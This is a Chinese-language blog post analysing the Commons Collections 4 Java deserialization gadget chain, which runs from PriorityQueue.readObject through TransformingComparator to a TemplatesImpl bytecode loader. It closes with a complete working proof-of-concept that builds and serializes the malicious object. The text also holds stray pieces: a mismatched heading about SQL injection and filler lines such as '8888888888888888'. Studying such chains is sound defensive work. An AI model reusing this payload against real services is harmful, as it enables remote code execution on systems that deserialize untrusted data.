CommonsCollections4分析

第一章 什么是sql注入

 

 

 

基础知识

PriorityQueue

PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常用方法:

add(E e)                       将指定的元素插入此优先级队列
clear()                        从此优先级队列中移除所有元素。
comparator()                   返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)          如果此队列包含指定的元素,则返回 true。
iterator()                   返回在此队列中的元素上进行迭代的迭代器。
offer(E e)                   将指定的元素插入此优先级队列
peek()                       获取但不移除此队列的头;如果此队列为空,则返回 null。
poll()                       获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o)               从此队列中移除指定元素的单个实例(如果存在)。
size()                       返回此 collection 中的元素数。
toArray()                      返回一个包含此队列所有元素的数组。

eg:

public static void main(String[] args) throws NotFoundException {
        PriorityQueue priorityQueue=new PriorityQueue(2);
        priorityQueue.add(4);
        priorityQueue.add(3);
        priorityQueue.add(2);
        priorityQueue.add(1); //add()添加指定元素到队列
        System.out.println(priorityQueue);
        System.out.println(priorityQueue.poll()); //poll获取队列的头
    }

 

TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

TransformingComparator是一个比较器comparator

在TransformingComparator的构造方法中,传入了两个值transformer和decorated  

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链

 

 

 

PriorityQueue类分析

 

再cc4中 PriorityQueue中的readObject一步一步最终  调用了compare() 而compare()最终调用了transform()

 

 

 

PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

 

 

 readObject中调用了heapify() 注意这里需要的for循环 这里长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素 

 

 

 heapify()调用了siftdown()

 

 

 sitdown()调用了siftDownUsingComparator()

siftDownUsingComparator()又调用了 comparator.compare()

 

 

 

TransformingComparator类分析

先来对比一下cc3把那本的TransformingComparator类和cc4中TransformingComparator类的区别 这里的cc3和cc4指的是Apache Commons Collections包的版本

CC3包中不能进行序列化

CC4包中可以进行序列化

8888888888888888

1111

解决本地序列化时触发的问题

这里有个问题就是我们在本地生成序列化时它也会执行因为我们直接就出发了它 我们需要它只在序列化时执行

解决 先把transformingComparator 改成一个没作用的东西

TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

在add添加元素完再改回来

Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);

三个小问题

initialCapacity的值要大于1

comparator != null

comparator 是通过PriorityQueue 的构造方法传入

size>= 2

最终poc

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.convert.TransformWriteField;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;


import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class cc4 {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

        //
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);



        serialize(priorityQueue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }

    public static void unserialize(Object obj) throws Exception{
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
        oss.readObject();
    }

}

 

posted @ 2021-12-27 09:49  笑花大王  阅读(131)  评论(0编辑  收藏  举报